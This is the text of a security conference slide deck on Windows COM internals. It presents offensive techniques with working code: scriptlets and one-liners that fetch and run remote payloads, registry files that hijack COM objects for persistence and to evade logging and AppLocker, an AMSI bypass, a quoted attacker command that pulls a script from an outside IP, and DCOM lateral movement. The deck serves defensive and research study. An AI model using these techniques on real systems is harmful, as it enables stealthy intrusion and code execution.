

Windows Operating System Archaeology

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Who Are We?

- Casey Smith (@subTee)
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Objectives For This Talk

Foster curiosity

Further research

Provide references

Give Examples!

Call attention to the attack surface and capabilities

COM Overview

-Brief Background

-Registration

-Resolution

COM Architecture and History - in 2 minutes ;-)

What are COM components?

COM components are cross-language classes backed by:

- DLL (Dynamic-Link Libraries)
- OCX (ActiveX controls)
- TLB (Type Libraries)
- EXE (Executables)
- SCT (XML files)


Location Transparency Principle

Example - COM Scriptlet XML

XML Files - We use these for POC examples

Registration Block

```
1  <?XML version="1.0"?>
2  <scriptlet>
3  <registration
4      progid="PoC"
5      classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
6          <!-- Proof Of Concept - Casey Smith @subTee -->
7          <!-- License: BSD3-Clause -->
8  </registration>
9  <script language="JScript">
10         var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
11 </script>
12 </scriptlet>
```



COM Object Type Registration

To find a component when a program needs it,
it is **USUALLY** registered

What Registry keys are related to COM registration?

HKLM

+ HKCU

HKCR

Beware: Registration-Free COM ;-)

Registry Example

Registry Editor

File Edit View Favorites Help

The screenshot shows the Windows Registry Editor interface. On the left, the registry tree is displayed with several keys under the root. One key is expanded, showing its sub-values. On the right, a details pane shows the properties of a selected value. The status bar at the bottom provides the full path of the selected key.

Path: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f744e496-1b5a-489e-81dc-fbd7ac6298a8}

Name	Type
ab (Default)	REG_SZ

COM Object Type Resolution

CLSID - GUID - {AAAA1111-0000-0000-0000-FEEDACDC}

ProgID - String

Monikers - “scriptlet:<http://example.com/file.sct>”

GetObject - CreateObject Methods

```
rundll32.exe javascript:"..\mshtml,RunHTMLApplication  
";a=GetObject('scriptlet:https://example.com/Backdoor.sct');a.Exec();close();
```

WMI GetObject example


1. Call **GetObject** with a moniker in the input parameter.

VB

```
[system.runtime.interopservices.marshall]::  
BindToMoniker("script:http://example.com/a.wsc")
```

Make PowerShell VB Again!

```
[reflection.assembly]::LoadWithPartialName("Microsoft.VisualBasic")
$a= [Microsoft.VisualBasic.Interaction]::GetObject("script:https://example.com/sct")
```



Visual Basic Encoding

```
PS C:\Users\Matt\Desktop>
PS C:\Users\Matt\Desktop>
PS C:\Users\Matt\Desktop> $a = new-object -COM Scripting.Encoder
PS C:\Users\Matt\Desktop> $file = gc new.vbs
PS C:\Users\Matt\Desktop> $a.EncodeScriptFile(".vbs",$file,0,"") | Out-File -Encoding ASCII res.vbe
PS C:\Users\Matt\Desktop>
PS C:\Users\Matt\Desktop> type res.vbe
#@~^NAAAAA==O/O,'ZDlDnr(LnmD`E UmDb2Yc?tssJ*R"EU`E^mV^Ra+r#ahEAAA==^#~@
PS C:\Users\Matt\Desktop>
PS C:\Users\Matt\Desktop>
```

```
<script language="VBScript.Encode">
|   |
|   #@~^NAAAAA==O/O,'ZDlDnr(LnmD`E UmDb2Yc?tssJ*R"EU`E^mV^Ra+r#ahEAAA==^#~@
</script>
```

COM Registry Keys

[https://msdn.microsoft.com/en-us/library/windows/desktop/ms678477\(v=vs.85\).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms678477(v=vs.85).aspx)


Regsvr32.exe

Regasm.exe

Regsvcs.exe


These tools usually handle the registration and registry key population for us.

Example Call To Create/Locate an Object



What does all this mean?

COM Artifacts and details can be found in the registry.



Sometimes....

Registration-Free COM Activation

Microsoft.Windows.ActCtx Object

Attach a Manifest or Download ManifestURL

Loads DLL without registration.

<https://github.com/subTee/RegistrationFreeCOM>

James Forshaw's ActCtx Usage from DerbyCon

https://github.com/tyranid/DotNetInteropDemos/releases/tag/DERBYCON_2017

The Best Class Eva!11!!!

```
var name = "Microsoft.VisualBasic.Devices.Computer";
var comp = ax.CreateObject(name);

// Full registry access, without WScript.Shell
comp.Registry.CurrentUser.CreateSubKey("ABC");

// Get current text on clipboard
comp.Clipboard.GetText();

// Send arbitrary keys to the focused application
comp.Keyboard.SendKeys("Hello World!");
```

In Memory Assembly Execution JScript/VBScript

<https://github.com/tyranid/DotNetToJScript>

This is Amazing!

Executes a .NET assembly IN JSCRIPT/VBSCRIPT

This dramatically extends capabilities of COM Scriptlets

No DLL On Disk.



I'm out...

Methodology Examples

Using Procmon to trace resolution

The screenshot shows the 'Process Monitor Filter' dialog box. At the top, there is a search bar with the text 'Result contains NOT FOUND'. Below the search bar is a 'Reset' button and a row of buttons for 'Add' and 'Remove'. The main area is a table with columns: 'Column', 'Relation', 'Value', and 'Action'. The table contains the following rows:

Column	Relation	Value	Action
Process Name	contains	explorer.exe	Include
Result	contains	NOT FOUND	Include
Path	contains	HKCU	Include
Process Name	is	Procmon.exe	Exclude
Process Name	is	Procexp.exe	Exclude
Process Name	is	Autoruns.exe	Exclude
Process Name	is	Procmon64.exe	Exclude
Process Name	is	Procexp64.exe	Exclude

At the bottom of the dialog box are 'OK', 'Cancel', and 'Apply' buttons. To the right of the dialog box, the main Procmon interface shows a list of events. The first event is 'Explorer.EXE 2900 RegOpenKey HKCU\Software\Classes\Unknown\ShellEx\IconHandler'. The status for this event is 'NAME NOT FOUND Desired'. The second event is 'Explorer.EXE 2900 RegOpenKey HKCU\Software\Classes\SystemFileAssociations\'. The status for this event is 'NAME NOT FOUND Desired'. The third event is 'Explorer.EXE 2900 RegOpenKey HKCU\Software\Classes\CustomFileAssociations\'. The status for this event is 'NAME NOT FOUND Desired'.

Example - There are DOZENS of these

3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete	NAME NOT FOUND Desired Access: Q...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}	NAME NOT FOUND Desired Access: R...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\TreatAs	NAME NOT FOUND Desired Access: Q...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}	NAME NOT FOUND Desired Access: M...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}	NAME NOT FOUND Desired Access: M...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer	NAME NOT FOUND Desired Access: R...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer	NAME NOT FOUND Desired Access: M...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32	NAME NOT FOUND Desired Access: M...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32	NAME NOT FOUND Desired Access: M...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32	NAME NOT FOUND Desired Access: M...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcHandler32	NAME NOT FOUND Desired Access: M...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InprocHandler	NAME NOT FOUND Desired Access: Q...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\Applications\explorer.exe	NAME NOT FOUND Desired Access: R...
3:15:4...	Explorer.EXE	3172	RegOpenKey	HKCU\Software\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}	NAME NOT FOUND Desired Access: R...



Excavation Tools

James Forshaw - OleViewDotNet - <https://github.com/tyranid/oleviewdotnet>

Mark Russinovich - ProcMon - <https://technet.microsoft.com/en-us/sysinternals/processmonitor>

RPCView - <http://rpcview.org>

API Spy - <http://www.rohitab.com/apimonitor>

CertUtil -



CertUtil Example

```
C:\Windows\System32>certutil -class scrobj.dll
Class[0]: 06290bd0-48aa-11d2-8432-006008c3fbfc
06290bd0-48aa-11d2-8432-006008c3fbfc
Scriptlet.Context

"Object under which scriptlets may be created"
InProcServer32 = "C:\Windows\System32\scrobj.dll"
InProcServer32\ThreadingModel = "Apartment"
ProgID = "Scriptlet.Context"

Class[1]: 06290bd1-48aa-11d2-8432-006008c3fbfc
06290bd1-48aa-11d2-8432-006008c3fbfc
Scriptlet.Constructor

"Constructor that allows hosts better control creating scriptlets"
InProcServer32 = "C:\Windows\System32\scrobj.dll"
InProcServer32\ThreadingModel = "Apartment"
ProgID = "Scriptlet.Constructor"

Class[2]: 06290bd2-48aa-11d2-8432-006008c3fbfc
06290bd2-48aa-11d2-8432-006008c3fbfc
Scriptlet.Factory

"Factory bindable using IPersistMoniker"
InProcServer32 = "C:\Windows\System32\scrobj.dll"
InProcServer32\ThreadingModel = "Apartment"
ProgID = "Scriptlet.Factory"
```

Malicious Tactics Overview

Persistence

COM Hijacking - Evasion

Lateral Movement

Persistence via COM Hijacking

Leveraging Per-User COM Objects, we can divert resolution to an object under our control.

Registry Only Persistence

“TreatAs” hijack

COM handler hijacking (scheduled tasks)

Persistence via COM Hijacking

```
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\Bandit.1.00]
@="Bandit"
[HKEY_CURRENT_USER\Software\Classes\Bandit.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\Software\Classes\Bandit]
@="Bandit"
[HKEY_CURRENT_USER\Software\Classes\Bandit\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@="Bandit"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
@="C:\\WINDOWS\\system32\\scrobj.dll"
"ThreadingModel"="Apartment"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
@="Bandit.1.00"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
@="https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
@="Bandit"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{3734FF83-6764-44B7-A1B9-55F56183CDB0}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs]
@="{00000001-0000-0000-0000FEEDACDC}"
```

DEMO

Registry Only Persistence

```
[HKEY_CURRENT_USER\Software\Classes\Bandit.1.00]
```

```
@="Bandit"
```

```
[HKEY_CURRENT_USER\Software\Classes\Bandit.1.00\CLSID]
```

```
@="{00000001-0000-0000-0000-0000FEEDACDC}"
```

```
[HKEY_CURRENT_USER\Software\Classes\Bandit]
```

```
@="Bandit"
```

```
[HKEY_CURRENT_USER\Software\Classes\Bandit\CLSID]
```

```
@="{00000001-0000-0000-0000-0000FEEDACDC}"
```

```
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
```

```
@="Bandit"
```

```
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
```

```
@="C:\WINDOWS\system32\scrobj.dll"
```

```
"ThreadingModel"="Apartment"
```

```
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
```

```
@="Bandit.1.00"
```



```
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
```

```
@="https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct"
```

```
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
```

```
@="Bandit"
```

```
[HKEY_CURRENT_USER\Software\Classes\CLSID\{3734FF83-6764-44B7-A1B9-55F56183CDB0}]
```

```
[HKEY_CURRENT_USER\Software\Classes\CLSID\{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs]
```

```
@="{00000001-0000-0000-0000-0000FEEDACDC}"
```



Ask me anything



Certutil.exe Hijacking

HKEY_CURRENT_USER\Software\Classes\CLSID\

{372FCE38-4324-11D0-8810-00A0C903B83C}

\TreatAs

COM Hijacking

It's Happening!

<http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html?m=1>

Evasion

Windows very often resolves COM objects via the HKCU hive first

Find your favorite script that implements GetObject() or CreateObject() and hijack it.

This allows you to instantiate your own code without exposing it via the command line.

Abusing WSH: VBScript Injection

Leverage an existing, signed VBScript to run our code

The screenshot shows a Windows Command Prompt window titled 'C:\Windows\system32\cmd.exe'. The command line shows the user navigating to their home directory ('cd \') and then executing a VBScript from a system folder ('C:\Windows\system32\Printing_Admin_Scripts\en-US\pubprn.vbs'). The URL 'script:https://goo.gl/PjIkds' is highlighted with a red box. The IP address '127.0.0.1' is also highlighted with a red box. In the background, a 'Calculator' application window is visible, showing the number '0'.

```
C:\Users\subTee>cd \
C:\>C:\Windows\system32\Printing_Admin_Scripts\en-US\pubprn.vbs
script:https://goo.gl/PjIkds
127.0.0.1
0
```

Probably being used by attackers...

```
Sub dfgfgeropu(DesDir As String)
    FileCopy DesDir & "\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs", DesDir & "\ProgramData\YANG.txt"
    FileCopy DesDir & "\Windows\System32\wscript.exe", DesDir & "\ProgramData\YING.exe"
End Sub
```

```
& "\ProgramData\YING.exe"" //E:vbscript /b " & RDir & "\ProgramData\YANG.txt|localhost|\"sc\"r\"i\"p\"t:httP://80.255.3.109/microsoft.js"
& "\ProgramData\YING.exe"" //E:vbscript /b " & RDir & "\ProgramData\YANG.txt|localhost|\"sc\"r\"i\"p\"t:httP://80.255.3.109/microsoft.js"
```

C:\Windows\System32\Printing_Admin_Scripts\en-US

pubprn.vbs

```
62
63  ServerName=· args(0)
64  Container· =· args(1)
65
66
67  on· error· resume· next
68  Set· PQContainer· =· GetObject(Container)
69
```


For example: Windows printing script pubprn.vbs calls GetObject on a parameter we control. Can use this to execute a COM scriptlet

Example: Evade Command Line Logging


slmgr.vbs instantiates Scripting.Dictionary via CreateObject(). Hijack that object to make it run your code

```
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
@=""

[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"  
  
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@="Scripting.Dictionary"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
@="C:\WINDOWS\system32\scrobj.dll"
"ThreadingModel"="Apartment"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
@="Scripting.Dictionary"  
  
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
@="https://gist.githubusercontent.com/enigma0x3/4373e9a63aaebe177c747af9bc6da743/raw/2207d8ala536371aff5f61c8bef8400622868976/wee.png"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
@="Scripting.Dictionary"
```

Scripting.Dictionary -

```
30  <public>
31      <method name="Add">
32          <parameter name="a"/>
33          <parameter name="b"/>
34      </method>
35      <method name="Exists">
36          <parameter name="a"/>
37      </method>
38      <property name="myProperty" get="getSubroutineName" put="putSubroutineName"/>
39
40  </public>
```

Methods

[Add Method \(Dictionary\)](#) | [Exists Method](#) | [Items Method](#) | [Keys Method](#) | [Remove Method](#) | [RemoveAll Method](#)

Properties

[Count Property](#) | [Item Property](#) | [Key Property](#) | [CompareMode Property](#)

Source Code of Slmgr.vbs

Default System File

```
1 '
2 ' Copyright (c) Microsoft Corporation. All rights reserved.
3 '
4 ' Windows Software Licensing Management Tool.
5 '
6 ' Script Name: slmgr.vbs
7 '
8 '
9 Option Explicit
10
11 Dim g_objWMIService, g_strComputer, g_strUserName, g_strPassword, g_IsRe
12 g_strComputer = "."
13 g_IsRemoteComputer = False
14
15 dim g_EchoString
16 g_EchoString = ""
17
18 dim g_objRegistry
19
20 Dim g_resourceDictionary, g_resourcesLoaded
21 Set g_resourceDictionary = CreateObject("Scripting.Dictionary")
22 g_resourcesLoaded = False
--
```




Example: Evade Command Line Logging

```
Command Prompt

C:\>sigcheck C:\Windows\System32\slmgr.vbs
Sigcheck v2.20 - File version and signature viewer
Copyright (C) 2004-2015 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\slmgr.vbs:
    Verified:      Signed
    Signing date: 3:52 PM 3/18/2017
    Publisher:    Microsoft Windows
    Description:  n/a
    Product:      n/a
    Prod version: n/a
    File version: n/a
    MachineType:  n/a

C:\>cscript /b C:\Windows\System32\slmgr.vbs
C:\>
```




A screenshot of a Windows Calculator application window titled "Calculator" in "STANDARD" mode. The display shows the number "0". The calculator has a standard layout with numeric keys (0-9), arithmetic operators (+, -, ×, ÷), and various function keys like MC, MR, M+, M-, MS, M*, %, √, x², and ¹/x.

This is also a clever way to bypass AppLocker ;-)

Winrm.vbs

```
'S C:\Users\tester> winrm quickconfig  
::\Windows\System32\winrm.vbs(1386, 9) Microsoft VBScript runtime error: Object required: 'm_operationShortcuts  
::\Windows\System32\winrm.vbs(1386, 9) Microsoft VBScript runtime error: Object required: 'm_allowedOperations'  
::\Windows\System32\winrm.vbs(1386, 9) Microsoft VBScript runtime error: Object required: 'm_allArguments'  
'S C:\Users\tester>
```



Bypass the AntiMalware Scan Interface (AMSI)

```
PS C:\> Invoke-Expression (Invoke-WebRequest http://pastebin.com/raw/JHhnFV8m)
iex : At line:1 char:1
+ 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
+ ~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:4 char:1
+ iex $string
+ ~~~~~
+ CategoryInfo          : ParserError: () [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

PS C:\> Get-Content .\amsi_bypass.reg
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32]
@="C:\\\\goawayamsi.dll"

PS C:\>
PS C:\> reg import .\amsi_bypass.reg
The operation completed successfully.
PS C:\>
PS C:\> powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.


PS C:\> Invoke-Expression (Invoke-WebRequest http://pastebin.com/raw/JHhnFV8m)
AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386
PS C:\> _
```

Lateral Movement

- Leveraging DCOM objects with no explicit access or launch permissions set
 - Certain objects have interesting methods...

<https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmcl20-application-com-object/>

<https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/>



Lateral Movement x2

- If Office is installed, there are a few other cool tricks
 - Using Word/PowerPoint/Excel to run a Macro remotely via the “Run” method
 - <https://posts.specterops.io/lateral-movement-using-excel-application-and-dcom-enigma0x3-on-wordpress-com-d11d56e504dc>
- Use Outlook.Application remotely to instantiate any COM object on the remote host via the CreateObject() method
 - CreateObject() lets you instantiate a COM object
 - Use something like “ScriptControl” to execute VBScript/JScript

DEMO

Outlook CreateObject Demo



Recycle Bin



Google Chrome



VMware Share...



stuff



procexp (3)



Procmon (2)

win7x64_stock


```
Windows PowerShell
PS C:\> PS C:\> ls \\192.168.99.188\c$\Users

Directory: \\192.168.99.188\c$\Users

Mode                LastWriteTime     Length Name
----                -            -           -
d----
```



Conclusions



Hopeful outcomes of this talk.

Foster curiosity & further research

Provide references

Call attention to the attack surface and capabilities

Closing Thoughts / Conclusions / Thanks

Special Thanks to:

James Forshaw - For answering our questions and COM research

Details/code/demos here:

<https://github.com/subTee/windows-operating-system-archaeology>